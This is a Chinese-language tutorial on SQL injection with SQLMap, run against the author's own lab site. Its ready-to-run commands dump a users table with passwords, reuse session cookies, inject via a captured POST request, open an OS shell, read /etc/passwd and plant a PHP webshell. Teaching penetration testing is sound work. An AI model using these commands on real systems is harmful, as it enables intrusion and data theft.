渗透测试-SQL注入-SQLMap工具

渗透测试-SQL注入-SQLMap工具

  • 前言
  • 一 、SQLMap拖库
  • 二、POST和Cookie
  • 三、OS-Shell
    • 1. 整个过程分为三部分:
    • 2. 手工读写文件


前言

这个工具是在kali中自带的,从kali官网下载安装kali虚拟机即可使用。用这个工具扫描其它网站时,要注意法律问题,同时也比较慢,所以我们以之前写的登录页面为例子扫描。

一 、SQLMap拖库

SQLMap可以完成注入点的发现、数据库类型的确认、webshell权限和、路径的确认和拖库等一系列功能。
测试的Payload分为五级:Leve l~1-Level 5

  1. 当我们发现注入点
sqlmap -u "http://192.168.88.130/security/read.php?id=1"
  1. 查看所有的数据库
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dbs
  1. 查看当前数据库
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --current-db
  1. 发现使用的是learn数据库,接下来对数据库进行查询
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --tables -D "learn"
  1. 查出所有表后,对user表的列名查询
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --columns -T "users" -D "learn"
  1. user表的列名知道后直接查出所有数据
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dump -C "userid,username,password" 
-T "users" -D "learn"

完成拖库后,可以直接输出看到表的数据,也可以直接根据提示信息进入相应文件查看

  1. 直接指定数据库类型,节省时间
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dbs --dbms=mysql
  1. 判断是否是DBA(是否具有管理员权限)
sqlmap -u "http://192.168.88.130/security/read.php?id=1" --dbms=mysql --is-dba

二、POST和Cookie

  1. 如果某个注入点需要先登录,那么手工登录,使用相同的Cookie进行处理
sqlmap -u "http://192.168.88.130/security/read.php?id=1" 
--cookie=PHPSESSID="6j55ei1ahv1rh7c0sb0e24eee1"
  1. 如果注入点不是GET请求,而是POST请求,则要添加POST正文

先将POST请求在Burp中捕获,将请求内容保存到文件中。
内容通常为:

POST /security/read.php HTTP/1.1
Host: 192.168.88.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Origin: http://192.168.88.130
Connection: close
Referer: http://192.168.88.130/security/temp/mm.php
Cookie: PHPSESSID=s76jr020o740cgbre9scnj4oah
Upgrade-Insecure-Requests: 1

id=6
  1. 运行SQLMap时,通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求参数为id),实现注入
sqlmap -r ./sql-post.txt -p id --dbs

由于URL地址已经在sql-post.txt的请求内容中,所以不需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试对所有参数进行注入测试。如id=12345&name=fjc&addr=guangzhou,此处三个参数都会被尝试

三、OS-Shell

1. 整个过程分为三部分:

(1) 猜测网站的绝对路径
(2) 尝试植入木马
(3) 获取到Shell命令行

sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --os-shell

sqlmap -u "http://192.168.88.130/security/read.php?id=1" --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --os-shell  

2. 手工读写文件

# 读取远程服务器的文件
sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-read "/etc/passwd"

sqlmap -u "http://192.168.88.130/security/read.php?id=1" --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-read "/etc/passwd"

# 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入:
sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php

sqlmap -u "http://192.168.88.130/security/read.php?id=1" --cookie="PHPSESSID=s76jr020o740cgbre9scnj4oah" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php

# 此时也可以使用Python调用sqlmap命令(os.popen("").read())进行盲猜,循环遍历字典文件

# --bbatch参数可以一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置

你可能感兴趣的:(渗透测试,SQL注入,sql,web安全,学习,mysql,数据库)